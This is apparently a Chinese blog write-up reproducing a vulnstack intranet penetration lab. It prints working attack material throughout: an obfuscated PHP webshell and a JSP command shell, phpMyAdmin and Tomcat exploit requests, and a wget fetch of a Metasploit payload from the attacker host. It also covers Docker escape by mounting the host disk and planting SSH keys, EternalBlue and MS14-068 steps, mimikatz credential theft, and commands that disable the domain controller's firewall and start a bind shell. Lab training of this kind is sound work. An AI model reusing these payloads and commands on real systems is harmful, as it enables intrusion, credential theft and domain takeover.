内网渗透-2
公众号上HACK学习呀上面的一篇内网渗透文章,收益颇多,本篇文章实验部分为自己重现
重现时遇到各式各样的奇葩问题,现均已解决
原文链接:https://mp.weixin.qq.com/s/UIGYJvfNAty7ywg3EBjTJw
靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
本次靶场渗透包括反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。
知识点
st漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透
环境配置
共三台靶机,导入到VMware中
导入完成后,更改相应主机的网卡配置
模拟外网网卡配置–>桥接模式 网段:192.168.0.0/24
模拟内网网卡配置–>VMnet2(Nat模式) 网段:192.168.183.0/24(必须相同)
攻击机(Kali)网卡配置,IP:192.168.142.108:
WEB服务器(Ubuntu)网卡配置:
内网其他主机网卡配置:
这样,我们就为这三台虚拟主机构建了一个内网,DC和域成员Windows 7位于内网,外网访问不到他们,Web服务器作为连接内网和外网的枢纽。
我们的Web服务器为Ubuntu,且其环境都是由docker启动的,根据靶场描述,我们需要启动的环境有:
- s2-045
- CVE-2017-12615(tomcat put上传)
- cve-2018-12613(phpmyadmin文件包含漏洞)
注:Ubuntu默认密码为Ubuntu
首先切换为root用户,然后进入到相关目录中,用docker-compose up -d
命令开启,如下图:
ubuntu@ubuntu:~$ sudo su
[sudo] password for ubuntu:
root@ubuntu:/home/ubuntu# cd Desktop/vulhub/struts2/s2-045/
root@ubuntu:/home/ubuntu/Desktop/vulhub/struts2/s2-045# docker-compose up -d
Starting s2-045_struts2_1 ... done
root@ubuntu:/home/ubuntu/Desktop/vulhub/struts2/s2-045# cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
root@ubuntu:/home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615# docker-compose up -d
Starting cve-2017-12615_tomcat_1 ... done
root@ubuntu:/home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615# cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
root@ubuntu:/home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613# docker-compose up -d
Starting cve-2018-12613_mysql_1 ... done
Starting cve-2018-12613_web_1 ... done
root@ubuntu:/home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613#
可见,环境开启成功
外网初探
我们已知Web服务器的公网IP为192.168.142.37(模拟),所以,我们可以先对其Web服务器进行端口扫描,如下:
nmap -T4 -sC -sV 192.168.142.37
可知其开启了ssh、Tomcat、phpmyadmin等,其端口号由于版本如上图一目了然。我们先来测试PhpMyAdmin 4.8.1的漏洞(CVE-2018-12613),该漏洞相比大家已经很熟悉了,是phpMyAdmin 4.8.1版本的一个文件包含漏洞,通过 二次url编码 即可绕过过滤。
PhpMyAdmin 4.8.1文件包含漏洞
我们访问web服务器上的phpmyadmin:
测试CVE-2018-12613漏洞:
http://192.168.142.37:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
如上图成功利用,可见确实存在该漏洞。接下来,我们可以通过开启mysql全局日志并改变写入的日志的路径来getshell,但是该方法在SET GLOBAL general_log='on'
开启全局日志是收到了权限限制,所以我们可以考虑包含session文件来getshell。
在sql执行处执行select '<?php phpinfo();?>'
,并F12查看当前页面cookie中的phpmyadmin的值。
得到此时网络cookie中的phpmyadmin值为ae01dd428f73c55c793ac43f14b6391c,则此时产生的session文件名为sess_ae01dd428f73c55c793ac43f14b6391c。构建包含Session值的URL路径,包含该session文件:
?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_ae01dd428f73c55c793ac43f14b6391c
包含成功,显示了phpinfo页面,接下来我们要利用文件包含漏洞来getshell。在sql执行处执行一下语句来在session文件中写入免杀的webshell:
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['whoami']));?>"
这里蚁剑链接不知道出了什么问题:
换种方式蚁剑链接后成功:
使用select语句构造好php文件
SELECT "<?php fputs(fopen('a.php','w'),'<?php eval($_POST[a]);?>');?>";
访问日志文件生成php木马
使用蚁剑成功连接
然而,我们虽然拿到了目标服务器的shell,但此时的shell只是目标机docker中的shell,要想实现对docker宿主机的控制,我们还要docker逃逸。
Tomcat 任意文件上传漏洞(CVE-2017-12615)
上面我们演示了PhpMyAdmin 4.8.1文件包含漏洞拿到了目标的shell,接下来我们演示利用Tomcat 任意文件上传漏洞(CVE-2017-12615)来获取目标的控制权。(本次渗透也以该漏洞为主)
我们在当开始的nmap端口扫描中可以发现,目标Web服务器的2002端口上运行着Tomcat,并且版本为8.5.19。我们知道Tomcat的漏洞比较出名的有CVE-2017-12615,CVE-2017-12615是Tomcat中间件的任意文件上传漏洞,但此漏洞影响范围是Apache Tomcat 7.0.0 – 7.0.79,我们靶机的Tomcat版本似乎不再影响范围之内,是实际中Tomcat 5-9均存在类似CVE-2017-12615的利用方式,同样可以类比运用,但这不归属于CVE-2017-12615漏洞。
访问目标Web服务器的Tomcat:
使用burpsuite抓包:
在以上红框处做修改,将GET方法改为PUT,并上传webshell文件shell.jsp,其中内容如下:
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
(注意:红框里的文件名处,必须为/shell.jsp/
的格式,最后的/
一定要带着)
上传成功,然后访问该文件的url:
利用msf生成后门:
开启http服务,然后通过wget下载到服务器上:
wget http://192.168.142.108:8000/shell.elf
ls -l 查看上传的shell
发现没有执行权,添加执行权
kali开启监听,得到服务器meterpreter
如上图,msf成功获得了会话。
利用–Privileged特权模式逃逸
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
我们看到靶场描述中有一个“ssh密钥利用”,猜测是利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制。
首先我们现在docker中新建一个/hack目录用来挂在文件:
然后ls /dev
看到/dev目录会发现很多设备文件,
我们可以尝试将/dev/sda1挂载到/hack目录里:
mount /hack /dev/sda1
如上图,挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的
在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。
然后,在攻击机本地生成ssh秘钥:
ssh-keygen -f hack
chmod 600 hack // 不要忘记对秘钥文件赋600权限,否则不能执行哦
即可在当前目录下生成一个秘钥文件
接下来要做的就是将生成的秘钥写入到目标机中了。前面说了,将sda1挂载成功,我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的,比如我们访问/hack/home
目录也就是访问宿主机的/home
目录:
看见一个Ubuntu用户的主目录,进去看看,ls -alh /hack/home/ubuntu
(查看包括隐藏的文件):
这里我使用的是meterpreter,直接用ls就可以看到所有文件
我们看见了一个.ssh目录,我们也就是要将ssh秘钥写入到.ssh目录里面并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)。
依次执行如下命令写入秘钥:
cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys # -avx是将权限也一起复制
echo > /hack/home/ubuntu/.ssh/authorized_keys # 清空authorized_keys文件
echo '生成的.pub文件的内容' > /hack/home/ubuntu/.ssh/authorized_keys # 将ssh秘钥写入authorized_keys文件
写入成功。
此时,攻击者就可以利用自己的私钥进行免密登陆目标宿主机了:
ssh -i hack ubuntu@192.168.142.37
成功拿到目标机(docker宿主机)Web服务器的shell。
查看一下网络配置:ifconfig
可知,目标Web服务器除了一个公网IP(192.168.142.37)外,还有一个内网IP(192.168.183.135)。然后我们在目标及上用wget下载我们之前生成的msf马,并执行,反弹一个meterpreter过来,
接下来我们要做的就是设置代理通向内网、扫描内网主机、添加路由继续渗透等等。
攻入内网
使用强大且稳定的代理工具chisel(这很重要,使用ew会出现session莫名奇妙die的情况
项目地址:https://github.com/jpillora/chisel
在目标web服务器上传chisel,然后执行:
./chisel server -p 2333 --socks5
攻击机执行:
./chisel client 192.168.142.37:2333 socks
如上图,成功在攻击机上面的1080端口开启了一个socks5监听,我们现在在/etc/proxychains4.conf
文件中添加代理信息,在最后一行添加即可
此时,我们攻击机上的应用程序就可以通过proxychains代理进目标内网了。探测目标内网的主机存活:
proxychains4 nmap -sT -Pn 192.168.183.1/24 > nmap.txt
这里我为了缩短扫描时长,增加了-p445
参数,只扫描445端口开放状态:
查看nmap文件,搜索关键字open
,得到内网两个主机的ip:
既然是攻击内网,我们当然少不了试试ms17_010了,我们先在msf上添加一个通往内网的路由:
run autoroute -s 192.168.183.0/24
run autoroute -p
添加成功,开始扫描目标内网中存在ms17_010永恒之蓝漏洞的主机:
发现两个主机都存在漏洞,先打那个Windows 7(192.168.183.129):
setg Proxies socks5:127.0.0.1:1080 // 设置代理,不设置代理ms17_010很难打通
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.131
set lport 4444
set AutoRunScript post/windows/manage/migrate // 自动迁移进程
run
注意要setg Proxies socks5:192.168.0.105:1080
设置代理,不设置代理ms17_010很难打通,不知道为什么,也是刚学到的。
这里我自己实验时发现使用meterpreter加上路由之后反而打不通,我这里使用run autoroute -d -s 192.168.183.0/24
删掉了添加的路由,然后仅使用全局代理搭进去了。
为了方便接下来的信息收集,我们需要把当前权限降到普通域用户,因为不是域用户的话是没有权限执行域命令的。
getuid #查看当前token
use incognito #加载incognito
list_tokens -u #列出AccessToken
impersonate_token "DEMO\douser" #模拟DEMO\douser用户
rev2self #返回到之前的AccessToken权限
接下来要做的就是信息收集
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
whoami
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
经过一波收集我们得知,目标Windows 7在DEMO.com域中,域控为WIN-ENS2VR5TR3N$,域管理员为Administrator,我们ping一下主域,查看域控的IP:
可知域控IP为192.168.183.130。
在目标机上传mimikatz,抓一下Windows 7的密码
此处有个坑,我用ms17_010获得的system权限在运行mimikatz的时候回报错:
反复折腾了一番最后模拟了一个目标机上的system的令牌竟然成功了:(不可思议,有大佬知道为什么的话请告诉我)
得到douser用户的明文密码为Dotest123。接下来我们就可以继续横向移动攻击域控了。
攻入域控
尝试使用ms17_010攻击域控,发现失败了,既然我们得到了域用户douser的密码,我们为何不试一下PTT(ms14-068)呢?下面演示ms14-068的利用过程:
在目标Windows 7上传ms14-068.exe,然后执行如下生成TGT票据:
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
注:以下操作须是本地管理员用户
如上图成功生成票据文件“TGT_douser@DEMO.com.ccache
”。然后利用mimikatz注入票据:
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
如上图,票据注入成功。
查看注入是否成功klist
:
尝试net use登录域控:
net use \\WIN-ENS2VR5TR3N
如上图,成功登录域控并列出了域控的c盘目录。此时要想控制域控我们还要在Windows 7上面上传一个正向的msf马,将生产的msf上传到Windows 7上,然后用smb文件共享将msf马copy到域控的C盘:
msfvenom -p windows/meterpreter/bind_tcp LPORT=4445 -f exe -o bind.exe
将生产的msf上传到Windows 7上,然后用smb文件共享将msf马copy到域控的C盘:
copy c:\users\douser\bind.exe \\WIN-ENS2VR5TR3N\c$
我们用sc服务来远程执行。
关闭防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
创建服务执行msf马(msf正在监听):
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
寻找敏感文件
拿下域控后,我们就要寻找开头说的那个域控中的重要文件了。
我们开启域控的远程桌面:
run getgui -e
或者:
run post/windows/manage/enable_rdp
登录远程桌面:
proxychains4 rdesktop 192.168.183.130
上传everything:
打开Everything,开启HTTP服务,设置端口为2333:
开启成功,然后攻击者浏览器设置代理:127.0.0.1:1080(前面不是开启了chisel代理了吗)
大功告成!